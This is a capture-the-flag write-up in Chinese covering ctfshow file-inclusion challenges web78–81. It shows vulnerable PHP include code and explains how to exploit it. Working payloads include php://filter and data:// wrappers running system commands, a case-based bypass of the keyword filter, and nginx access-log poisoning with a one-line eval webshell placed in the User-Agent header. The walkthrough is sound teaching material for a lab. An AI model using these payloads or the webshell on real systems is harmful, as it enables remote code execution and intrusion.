ctfshow文件包含web78~81

目录

web78

方法一:filter伪协议

方法二:input协议

方法三:data协议

web79

方法一:input协议

方法二:data协议

web80

方法一:input协议

方法二:日志包含getshell

web81


web78

php 复制代码
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

include函数执行file引入的文件,如果执行不成功,就高亮显示当前页面的源码。

可知这就是一个没有任何过滤的文件包含的题目。

方法一:filter伪协议

file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base编码后的flag解密得到flag

方法二:input协议

php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 _POST 与 FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 _POST 与 FILES 中。

方法三:data协议

data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:

php 复制代码
data://[<MIME-type>][;charset=<encoding>][;base64],<data>

构造payload:

php 复制代码
?file=data://text/plain,<?php system('tac f*');?>

将我们输入的<?php system('tac f*');?>当作php文件来执行,以达到读取flag的目的。

web79

php 复制代码
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到在上一道题的基础上,增加了对php字符串的过滤,但是值得注意的是,过滤是区分了大小写的,这就意味着,可以使用大小写绕过,但是这里的大小写绕过对input和data协议有用,对filter协议没有用。

方法一:input协议

将php改为Php

方法二:data协议

php 复制代码
?file=data://text/plain,<?Php system('tac f*');?>

这里要将php改为大写的,但是上面的input协议就不用,这是因为我们的参数file是通过get方式传参的,str_replace函数检查也只是检查get方式传入的值,input协议中的php是通过post方式传参的,因此不用改,data协议的php是get方式传入的,于是需要大小写绕过。

web80

php 复制代码
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

新增了对data的过滤,对data尝试了大小写绕过,发现绕过不了,于是data协议用不了,就只能用input协议了。

方法一:input协议

方法二:日志包含getshell

在了解过后,发现这道题还可以通过日志包含getshell的方法来做。

日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

首先要判断网站使用的什么服务:

对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

查看web服务:

于是我们访问日志:

php 复制代码
?file=/var/log/nginx/access.log 

在user-agent添加木马

php 复制代码
<?php @eval($_REQUEST['cmd']);?>

post传参,首先查看列表

php 复制代码
cmd=system('ls');

可以看到目录下面有flag,直接cat查看

php 复制代码
cmd=system('tac f*');

得到flag。

web81

php 复制代码
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了冒号,伪协议不好用了,于是,这个题还是用web80的getshell方法,得到flag

php 复制代码
ctfshow{333cb693-64d5-4c3e-b564-6fddb4621e1e}
相关推荐
云水一下6 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
程序员若风7 天前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区
白猫不黑7 天前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
迪康Defender7 天前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)7 天前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
sbjdhjd8 天前
从日志包含到临时文件竞争:文件包含进阶复盘中的 Docker、Windows 与 Session 限制
网络·安全·web安全·网络安全·数据挖掘·php·rce
白猫不黑8 天前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题
白猫不黑8 天前
零基础如何学习网络安全:从入门到实战的完整路线图
web安全·计算机·网络安全·黑客·信息安全·渗透测试·代码审计
蒲公英eric8 天前
DVWA通关全记录:从漏洞复现到安全防御——总结篇
web安全·ai·dvwa·ai安全
Koi慢热9 天前
DayDayMap学术社区体验:卫星网络测绘专题用下来怎么样
网络·人工智能·windows·web安全·网络安全